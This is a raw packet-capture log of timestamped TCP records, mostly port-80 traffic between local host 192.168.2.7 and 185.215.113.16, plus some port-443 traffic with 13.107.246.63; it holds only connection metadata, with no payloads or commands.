Dec 7, 2024 18:27:02.777470112 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.777534962 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.777635098 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.777683020 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.779071093 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.779129982 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.779181957 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.779227972 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.780523062 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.780574083 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.780622005 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.780670881 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.782027006 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.782080889 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.782221079 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.782268047 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.783698082 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.783757925 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.783762932 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.783797979 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.785271883 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.785320997 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.785482883 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.785588980 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.786576033 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.786628962 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.786766052 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.786823034 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.788105011 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.788153887 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.788245916 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.788292885 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.789558887 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.789604902 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.789706945 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.789752007 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.791003942 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.791050911 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.791146040 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.791193008 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.792464018 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.792512894 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.793061972 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.793106079 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.793984890 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.794047117 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.794090986 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.794150114 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.795381069 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.795428038 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.795556068 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.795604944 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.796792984 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.796842098 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.796956062 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.796996117 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.798289061 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.798398972 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.798517942 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.799690962 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.799741030 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.799901962 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.799952030 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.801188946 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.801238060 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.801367998 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.801414967 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.802615881 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.802669048 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.802781105 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.802826881 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.804025888 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.804073095 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.804143906 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.804192066 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.805433035 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.805480003 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.805700064 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.805747986 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.806891918 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.806931019 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.807444096 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.807490110 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.808325052 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.808373928 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.808803082 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.808851004 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.809752941 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.809801102 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.809897900 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.809942961 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.811204910 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.811255932 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.811460972 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.811507940 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.812652111 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.812699080 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.812752962 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.812797070 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.814142942 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.814189911 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.814856052 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.814903021 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.815558910 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.815618038 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.815741062 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.815785885 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.817055941 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.817104101 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.817266941 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.817312002 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.818422079 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.818469048 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.818800926 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.818845987 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.819853067 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.819900990 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.819956064 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.819999933 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.821356058 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.821403980 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.821521997 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.821573973 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.822688103 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.822741985 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.822802067 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.822851896 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.824166059 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.824217081 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.824255943 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.824299097 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.825570107 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.825619936 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.825684071 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.825725079 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.827266932 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.827322960 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.827358007 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.827404022 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.828452110 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.828511000 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.828749895 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.828798056 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.830157995 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.830207109 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.830255985 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.830307007 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.831341982 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.831394911 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.831547976 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.831595898 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.832777977 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.832832098 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.833022118 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.833069086 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.834199905 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.834248066 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.834357023 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.834403038 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.835674047 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.835722923 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.871083975 CET	443	49832	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:02.874144077 CET	443	49832	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:02.874222040 CET	49832	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:02.874265909 CET	49832	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:02.874265909 CET	49832	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:02.874284029 CET	443	49832	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:02.874293089 CET	443	49832	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:02.877032995 CET	49837	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:02.877070904 CET	443	49837	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:02.877177954 CET	49837	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:02.877336979 CET	49837	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:02.877352953 CET	443	49837	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:02.950350046 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.950434923 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.950491905 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.950491905 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.950788021 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.950835943 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.950975895 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.951025009 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.951898098 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.951946020 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.952297926 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.952347994 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.953068018 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.953114986 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.953340054 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.953385115 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.954310894 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.954363108 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.955404997 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.955423117 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.955435038 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.955462933 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.955503941 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.956242085 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.956295967 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.956391096 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.956437111 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.957356930 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.957416058 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.957485914 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.957535028 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.958441973 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.958492041 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.958528042 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.958573103 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.959494114 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.959543943 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.959558010 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.959594011 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.960524082 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.960572004 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.960655928 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.960705996 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.961563110 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.961610079 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.961741924 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.961786985 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.962583065 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.962631941 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.962896109 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.962939024 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.963735104 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.963787079 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.963886976 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.963931084 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.964736938 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.964782000 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.965040922 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.965084076 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.965970993 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.966016054 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.966248989 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.966291904 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.966993093 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.967042923 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.968211889 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.968257904 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.970927000 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.970941067 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.970952034 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.970964909 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.970978975 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.970998049 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.971091032 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.971129894 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.971852064 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.971896887 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.972392082 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.972439051 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.972565889 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.972604990 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.972939968 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.972980976 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.973572016 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.973618031 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.974318027 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.974359989 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.974459887 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.974502087 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.975362062 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.975410938 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.975888968 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.975933075 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.976457119 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.976504087 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.976804018 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.976846933 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.977513075 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.977556944 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.978029013 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.978068113 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.978543043 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.978584051 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.978727102 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.978777885 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.979582071 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.979629993 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.980073929 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.980114937 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.980588913 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.980642080 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.980932951 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.980972052 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.981760979 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.981800079 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.981940031 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.981980085 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.982834101 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.982882023 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.983009100 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.983048916 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.983859062 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.983903885 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.984045029 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.984090090 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.984868050 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.984915018 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.985217094 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.985256910 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.985721111 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.985766888 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.986061096 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.986104012 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.986923933 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.986963034 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.987107038 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.987145901 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.987962008 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.988003969 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.988271952 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.988313913 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.989248037 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.989291906 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.989408970 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.989456892 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.990150928 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.990194082 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.990322113 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.990360022 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.991152048 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.991194010 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.991482019 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.991518021 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.992152929 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.992192984 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.992348909 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.992387056 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.993350029 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.993391991 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.993694067 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.993735075 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.994529009 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.994563103 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.994710922 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.994744062 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:02.995531082 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:02.995551109 CET	80	49831	185.215.113.16	192.168.2.7
